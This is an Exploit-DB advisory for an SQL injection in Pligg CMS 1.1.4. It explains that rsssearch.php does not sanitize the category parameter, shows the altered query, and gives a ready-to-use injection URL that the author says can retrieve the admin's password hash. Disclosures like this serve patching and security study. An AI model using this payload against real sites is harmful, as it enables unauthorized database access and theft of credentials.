Pligg CMS 1.1.4 - SQL Injection

Author: Null-0x00
type: webapps
platform: php
port: 
date_added: 2011-05-17 
date_updated: 2017-01-05 
verified: 0 
codes: OSVDB-72386;OSVDB-72385 
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application_url: http://www.exploit-db.comPliggCMS1.1.4.zip

# Exploit Title: Pligg <= 1.1.4 SQL injection
# Date: 03/23/2011
# Author: Null-0x00
# Software Link: http://pligg.com/
# Version: <= 1.1.4
# Websites: zenk-security.com & hackerzvoice.net


# Description #

An SQL Injection has been found on /rsssearch.php in pligg CMS 1.1.4. Prior
versions (works on 1.1.3) might also be vulnerables.

The $_REQUEST['category'] is not sanitized properly, and is used in a SQL
request in a WHERE clause. The resulting request can be :

SELECT pligg_links.link_id AS link_id, [...] FROM pligg_links LEFT JOIN
pligg_groups ON pligg_links.link_group_id = pligg_groups.group_id WHERE 1
AND ( [...] AND pligg_links.link_category = 123 or 1=1)# ) AND
pligg_links.link_status IN ('published','queued')


# Test #

To make this request happen, use this URL :

http://WEBSITE/pligg/rsssearch.php?search=test&adv=1&scategory=123+or+1=1%29%23

This can be used to retrieve information such as the admin's password hash,
etc.

Have a nice day, Null